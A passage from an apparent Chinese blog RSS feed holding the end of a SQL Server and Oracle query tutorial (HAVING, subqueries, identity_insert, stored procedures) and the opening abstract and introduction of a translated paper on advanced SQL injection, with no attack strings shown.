						<span style="COLOR: #ff00ff">min</span>
						<span style="COLOR: #000000">(string),test_id</span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #ff00ff">min</span>
						<span style="COLOR: #000000">(test_id) </span>
						<span style="COLOR: #0000ff">from</span>
						<span style="COLOR: #000000"> test </span>
						<span style="COLOR: #0000ff">group</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #0000ff">by</span>
						<span style="COLOR: #000000"> string) b </span>
						<span style="COLOR: #0000ff">where</span>
						<span style="COLOR: #000000"> a.string</span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #000000">b.string </span>
						<span style="COLOR: #808080">and</span>
						<span style="COLOR: #000000"> a.test_id</span>
						<span style="COLOR: #808080">&lt;&gt;</span>
						<span style="COLOR: #000000">b.test_id<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />)<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span>
				</div>
		</div>
		<p>6.having<br /> HAVING 子句运做起来非常象 WHERE 子句， 只用于对那些满足 HAVING 子句里面给出的条件的组进行计算。 其实，WHERE 在分组和聚集之前过滤掉我们不需要的输入行， 而 HAVING 在 GROUP 之后那些不需要的组． 因此，WHERE 无法使用一个聚集函数的结果． 而另一方面，我们也没有理由写一个不涉及聚集函数的 HAVING． 如果你的条件不包含聚集，那么你也可以把它写在 WHERE 里面， 这样就可以避免对那些你准备抛弃的行进行的聚集运算． </p>
		<p>  *聚集函数 指的是象count,max,sum,AVG等函数</p>
		<p> 如果我们想知道那些销售超过2个部件的供应商，使用下面查询：</p>
		<div style="BORDER-RIGHT: windowtext 0.5pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 0.5pt solid; PADDING-LEFT: 5.4pt; BACKGROUND: #e6e6e6; PADDING-BOTTOM: 4px; BORDER-LEFT: windowtext 0.5pt solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: windowtext 0.5pt solid">
				<div>
						<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #0000ff">SELECT</span>
						<span style="COLOR: #000000"> S.SNO, S.SNAME, </span>
						<span style="COLOR: #ff00ff">COUNT</span>
						<span style="COLOR: #000000">(SE.PNO) <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /> </span>
						<span style="COLOR: #0000ff">FROM</span>
						<span style="COLOR: #000000"> SUPPLIER S, SELLS SE <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /> </span>
						<span style="COLOR: #0000ff">WHERE</span>
						<span style="COLOR: #000000"> S.SNO </span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #000000"> SE.SNO   <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /> </span>
						<span style="COLOR: #0000ff">GROUP</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #0000ff">BY</span>
						<span style="COLOR: #000000"> S.SNO, S.SNAME  <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /> </span>
						<span style="COLOR: #0000ff">HAVING</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #ff00ff">COUNT</span>
						<span style="COLOR: #000000">(SE.PNO) </span>
						<span style="COLOR: #808080">&gt;</span>
						<span style="COLOR: #000000"> </span>
						<span style="FONT-WEIGHT: bold; COLOR: #800000">2</span>
						<span style="COLOR: #000000">;<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span>
				</div>
		</div>
		<p>5.带有子查询的insert<br />当带有子查询是不能用values和括号。例如：</p>
		<div style="BORDER-RIGHT: windowtext 0.5pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 0.5pt solid; PADDING-LEFT: 5.4pt; BACKGROUND: #e6e6e6; PADDING-BOTTOM: 4px; BORDER-LEFT: windowtext 0.5pt solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: windowtext 0.5pt solid">
				<div>
						<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />
						<span style="COLOR: #0000ff">insert</span>
						<span style="COLOR: #000000"> test2(id,string,string1,</span>
						<span style="FONT-WEIGHT: bold; COLOR: #000000">number</span>
						<span style="COLOR: #000000">)<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span>
						<span style="COLOR: #0000ff">select</span>
						<span style="COLOR: #000000"> test_id,string,string1,test.</span>
						<span style="FONT-WEIGHT: bold; COLOR: #000000">number</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #0000ff">from</span>
						<span style="COLOR: #000000"> test,test1 </span>
						<span style="COLOR: #0000ff">where</span>
						<span style="COLOR: #000000"> test.test_id</span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #000000">test1.id</span>
				</div>
		</div>
		<p>6.not exists</p>
		<div style="BORDER-RIGHT: windowtext 0.5pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 0.5pt solid; PADDING-LEFT: 5.4pt; BACKGROUND: #e6e6e6; PADDING-BOTTOM: 4px; BORDER-LEFT: windowtext 0.5pt solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: windowtext 0.5pt solid">
				<div>
						<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />
						<span style="COLOR: #0000ff">select</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #808080">*</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #0000ff">from</span>
						<span style="COLOR: #000000"> test1 </span>
						<span style="COLOR: #0000ff">where</span>
						<span style="COLOR: #000000">  </span>
						<span style="COLOR: #808080">not</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #808080">exists</span>
						<span style="COLOR: #000000">(</span>
						<span style="COLOR: #0000ff">select</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #808080">*</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #0000ff">from</span>
						<span style="COLOR: #000000"> test </span>
						<span style="COLOR: #0000ff">where</span>
						<span style="COLOR: #000000"> test1.id </span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #000000"> test.test_id)</span>
				</div>
		</div>
		<p>7.关于在SQL中插入数据并返回ID的方法  </p>
		<div style="BORDER-RIGHT: windowtext 0.5pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 0.5pt solid; PADDING-LEFT: 5.4pt; BACKGROUND: #e6e6e6; PADDING-BOTTOM: 4px; BORDER-LEFT: windowtext 0.5pt solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: windowtext 0.5pt solid">
				<div>
						<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />
						<span style="COLOR: #0000ff">INSERT</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #0000ff">INTO</span>
						<span style="COLOR: #000000"> test </span>
						<span style="COLOR: #0000ff">values</span>
						<span style="COLOR: #000000">(</span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #ff0000">sss</span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #000000">)<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span>
						<span style="COLOR: #0000ff">SELECT</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #ff00ff">SCOPE_IDENTITY</span>
						<span style="COLOR: #000000">()  </span>
				</div>
		</div>
		<p>
				<br />8.多子查询</p>
		<div style="BORDER-RIGHT: windowtext 0.5pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 0.5pt solid; PADDING-LEFT: 5.4pt; BACKGROUND: #e6e6e6; PADDING-BOTTOM: 4px; BORDER-LEFT: windowtext 0.5pt solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: windowtext 0.5pt solid">
				<div>
						<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />
						<span style="COLOR: #0000ff">SELECT</span>
						<span style="COLOR: #000000"> A.NUM, A.NAME, B.UPD_DATE, B.PREV_UPD_DATE<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />  </span>
						<span style="COLOR: #0000ff">FROM</span>
						<span style="COLOR: #000000"> TABLE1 A, <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />    (</span>
						<span style="COLOR: #0000ff">SELECT</span>
						<span style="COLOR: #000000"> X.NUM, X.UPD_DATE, Y.UPD_DATE PREV_UPD_DATE<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />        </span>
						<span style="COLOR: #0000ff">FROM</span>
						<span style="COLOR: #000000"> (</span>
						<span style="COLOR: #0000ff">SELECT</span>
						<span style="COLOR: #000000"> NUM, UPD_DATE, INBOUND_QTY, STOCK_ONHAND<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />                </span>
						<span style="COLOR: #0000ff">FROM</span>
						<span style="COLOR: #000000"> TABLE2<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />              </span>
						<span style="COLOR: #0000ff">WHERE</span>
						<span style="COLOR: #000000"> TO_CHAR(UPD_DATE,</span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #ff0000">YYYY/MM</span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #000000">) </span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #000000"> TO_CHAR(SYSDATE, </span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #ff0000">YYYY/MM</span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #000000">)) X, <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />            (</span>
						<span style="COLOR: #0000ff">SELECT</span>
						<span style="COLOR: #000000"> NUM, UPD_DATE, STOCK_ONHAND<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />                </span>
						<span style="COLOR: #0000ff">FROM</span>
						<span style="COLOR: #000000"> TABLE2<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />              </span>
						<span style="COLOR: #0000ff">WHERE</span>
						<span style="COLOR: #000000"> TO_CHAR(UPD_DATE,</span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #ff0000">YYYY/MM</span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #000000">) </span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #000000"> <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />                    TO_CHAR(TO_DATE(TO_CHAR(SYSDATE, </span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #ff0000">YYYY/MM</span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #000000">) </span>
						<span style="COLOR: #808080">||</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #ff0000">/01</span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #000000">,</span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #ff0000">YYYY/MM/DD</span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #000000">) </span>
						<span style="COLOR: #808080">-</span>
						<span style="COLOR: #000000"> </span>
						<span style="FONT-WEIGHT: bold; COLOR: #800000">1</span>
						<span style="COLOR: #000000">, </span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #ff0000">YYYY/MM</span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #000000">) ) Y, <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />        </span>
						<span style="COLOR: #0000ff">WHERE</span>
						<span style="COLOR: #000000"> X.NUM </span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #000000"> Y.NUM （</span>
						<span style="COLOR: #808080">+</span>
						<span style="COLOR: #000000">）<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />          </span>
						<span style="COLOR: #808080">AND</span>
						<span style="COLOR: #000000"> X.INBOUND_QTY </span>
						<span style="COLOR: #808080">+</span>
						<span style="COLOR: #000000"> NVL(Y.STOCK_ONHAND,</span>
						<span style="FONT-WEIGHT: bold; COLOR: #800000">0</span>
						<span style="COLOR: #000000">) </span>
						<span style="COLOR: #808080">&lt;&gt;</span>
						<span style="COLOR: #000000"> X.STOCK_ONHAND ) B<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span>
						<span style="COLOR: #0000ff">WHERE</span>
						<span style="COLOR: #000000"> A.NUM </span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #000000"> B.NUM<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span>
				</div>
		</div>9.曾经挽救过我的语句<br /><div style="BORDER-RIGHT: windowtext 0.5pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 0.5pt solid; PADDING-LEFT: 5.4pt; BACKGROUND: #e6e6e6; PADDING-BOTTOM: 4px; BORDER-LEFT: windowtext 0.5pt solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: windowtext 0.5pt solid"><div><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /><span style="COLOR: #0000ff">select</span><span style="COLOR: #000000">  </span><span style="COLOR: #808080">*</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">from</span><span style="COLOR: #000000"> bbs.dbo.yaf_topic a <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /> </span><span style="COLOR: #0000ff">full</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">join</span><span style="COLOR: #000000">  bbs_temp_20050830.dbo.yaf_topic b<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #0000ff">on</span><span style="COLOR: #000000"> a.topicid</span><span style="COLOR: #808080">=</span><span style="COLOR: #000000">b.topicid<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #0000ff">where</span><span style="COLOR: #000000"> a.topicid </span><span style="COLOR: #0000ff">is</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">null</span><span style="COLOR: #000000"> <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /> <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #008080">--</span><span style="COLOR: #008080">---------------------------------</span><span style="COLOR: #008080"><br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #0000ff">set</span><span style="COLOR: #000000">  </span><span style="COLOR: #0000ff">identity_insert</span><span style="COLOR: #000000"> yaf_topic </span><span style="COLOR: #0000ff">on</span><span style="COLOR: #000000"><br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #0000ff">INSERT</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">INTO</span><span style="COLOR: #000000"> </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">bbs</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">.</span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">dbo</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">.</span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">yaf_Topic</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">(</span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">TopicID</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">, </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">ForumID</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">, </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">UserID</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">, </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">Posted</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">, </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">Topic</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">, </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">Views</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">, </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">IsLocked</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">, </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">Priority</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">, </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">PollID</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">, </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">TopicMovedID</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">, </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">LastPosted</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">, </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">LastMessageID</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">, </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">LastUserID</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">, </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">LastUserName</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">, </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">NumPosts</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">, </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">PhotoTypeID</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">, </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">PhotoFilmName</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">, </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">PhotoCamera</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">, </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">ActionDate</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">, </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">CheckFlag</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">, </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">NoReply</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">, </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">Hide</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">)<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #0000ff">select</span><span style="COLOR: #000000">  b.</span><span style="COLOR: #808080">*</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">from</span><span style="COLOR: #000000"> bbs.dbo.yaf_topic a <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /> </span><span style="COLOR: #0000ff">full</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">join</span><span style="COLOR: #000000">  bbs_temp_20050830.dbo.yaf_topic b<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #0000ff">on</span><span style="COLOR: #000000"> a.topicid</span><span style="COLOR: #808080">=</span><span style="COLOR: #000000">b.topicid<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #0000ff">where</span><span style="COLOR: #000000"> a.topicid </span><span style="COLOR: #0000ff">is</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">null</span><span style="COLOR: #000000"> <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /> <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #0000ff">set</span><span style="COLOR: #000000">  </span><span style="COLOR: #0000ff">identity_insert</span><span style="COLOR: #000000"> yaf_topic </span><span style="COLOR: #0000ff">off</span></div></div><br />10.在存储过程中执行一个返回表的存储过程<br /><div style="BORDER-RIGHT: windowtext 0.5pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 0.5pt solid; PADDING-LEFT: 5.4pt; BACKGROUND: #e6e6e6; PADDING-BOTTOM: 4px; BORDER-LEFT: windowtext 0.5pt solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: windowtext 0.5pt solid"><div><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /><span style="COLOR: #0000ff">create</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">table</span><span style="COLOR: #000000"> #data(TopicID </span><span style="FONT-WEIGHT: bold; COLOR: #000000">bigint</span><span style="COLOR: #000000">, MessageID </span><span style="FONT-WEIGHT: bold; COLOR: #000000">bigint</span><span style="COLOR: #000000"> )                          <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #0000ff">insert</span><span style="COLOR: #000000"> #data </span><span style="COLOR: #0000ff">exec</span><span style="COLOR: #000000"> yaf_topic_save </span><span style="COLOR: #008000">@ForumID</span><span style="COLOR: #000000">,</span><span style="COLOR: #008000">@topic</span><span style="COLOR: #000000">,</span><span style="COLOR: #008000">@UserID</span><span style="COLOR: #000000">,</span><span style="COLOR: #008000">@Message</span><span style="COLOR: #000000">,</span><span style="COLOR: #008000">@Priority</span><span style="COLOR: #000000">,</span><span style="COLOR: #008000">@IP</span><span style="COLOR: #000000">,</span><span style="COLOR: #008000">@PollID</span><span style="COLOR: #000000">,</span><span style="COLOR: #008000">@ActionDate</span><span style="COLOR: #000000">,</span><span style="COLOR: #008000">@TopicMovedID</span><span style="COLOR: #000000">,</span><span style="COLOR: #008000">@Country</span><span style="COLOR: #000000">,</span><span style="COLOR: #008000">@Sheng</span><span style="COLOR: #000000">,</span><span style="COLOR: #008000">@Shi</span><span style="COLOR: #000000">,</span><span style="COLOR: #008000">@JinQu</span><span style="COLOR: #000000">,</span><span style="COLOR: #008000">@PhotoTypeID</span><span style="COLOR: #000000">,</span><span style="COLOR: #008000">@PhotoFilmName</span><span style="COLOR: #000000">,</span><span style="COLOR: #008000">@PhotoCamera</span><span style="COLOR: #000000">,</span><span style="COLOR: #008000">@Posted</span><span style="COLOR: #000000"><br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span></div></div><br />11.带有输出参数的存储过程<br /><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /><span style="COLOR: #000000"><br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />  </span><span style="COLOR: #0000ff">Create</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">Proc</span><span style="COLOR: #000000"> </span><span style="COLOR: #ff0000">[</span><span style="COLOR: #ff0000">dbo</span><span style="COLOR: #ff0000">]</span><span style="COLOR: #000000">.cs_GetAnonymousUserID  <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />(  <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /> </span><span style="COLOR: #008000">@SettingsID</span><span style="COLOR: #000000"> </span><span style="FONT-WEIGHT: bold; COLOR: #000000">int</span><span style="COLOR: #000000">,  <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /> </span><span style="COLOR: #008000">@UserID</span><span style="COLOR: #000000"> </span><span style="FONT-WEIGHT: bold; COLOR: #000000">int</span><span style="COLOR: #000000"> output  <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />)  <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #0000ff">as</span><span style="COLOR: #000000">  <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #0000ff">SET</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">Transaction</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">Isolation</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">Level</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">Read</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">UNCOMMITTED</span><span style="COLOR: #000000">  <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #0000ff">Select</span><span style="COLOR: #000000"> </span><span style="COLOR: #008000">@UserID</span><span style="COLOR: #000000"> </span><span style="COLOR: #808080">=</span><span style="COLOR: #000000"> cs_UserID </span><span style="COLOR: #0000ff">FROM</span><span style="COLOR: #000000"> cs_vw_Users_FullUser </span><span style="COLOR: #0000ff">where</span><span style="COLOR: #000000"> SettingsID </span><span style="COLOR: #808080">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #008000">@SettingsID</span><span style="COLOR: #000000"> </span><span style="COLOR: #808080">and</span><span style="COLOR: #000000"> IsAnonymous </span><span style="COLOR: #808080">=</span><span style="COLOR: #000000"> </span><span style="FONT-WEIGHT: bold; COLOR: #800000">1</span><span style="COLOR: #000000"> </span></div><img src ="http://www.blogjava.net/bcims/aggbug/104368.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">bcims</a> 2007-03-16 21:55 <a href="http://www.blogjava.net/bcims/archive/2007/03/16/104368.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQLServer应用程序中的高级SQL注入 </title><link>http://www.blogjava.net/bcims/archive/2006/01/17/28341.html</link><dc:creator>bcims</dc:creator><author>bcims</author><pubDate>Tue, 17 Jan 2006 11:53:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2006/01/17/28341.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/28341.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2006/01/17/28341.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/28341.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/28341.html</trackback:ping><description><![CDATA[<BR><BR>
<DIV class=postText>
<P>SQLServer应用程序中的高级SQL注入</P>
<P>作者：Chris Anley</P>
<P>摘要： <BR>这份文档是详细讨论SQL注入技术，它适应于比较流行的IIS+ASP+SQLSERVER平台。它讨论了哪些SQL语句能通过各种各样的方法注入到应用程序中，并且记录与攻击相关的数据确认和数据库锁定。 </P>
<P>这份文档的预期读者为与数据库通信的WEB程序的开发者和那些扮演审核WEB应用程序的安全专家。</P>
<P>介绍： <BR>SQL是一种用于关系数据库的结构化查询语言。它分为许多种，但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。典型的执行语句是query，它能够收集比较有达标性的记录并返回一个单一的结果集。SQL语言可以修改数据库结构（数据定义语言）和操作数据库内容（数据操作语言）。在这份文档中，我们将特别讨论SQLSERVER所使用的Transact-SQL语言。 <BR>当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去，我们管这种方法定义成SQL注入。 </P>
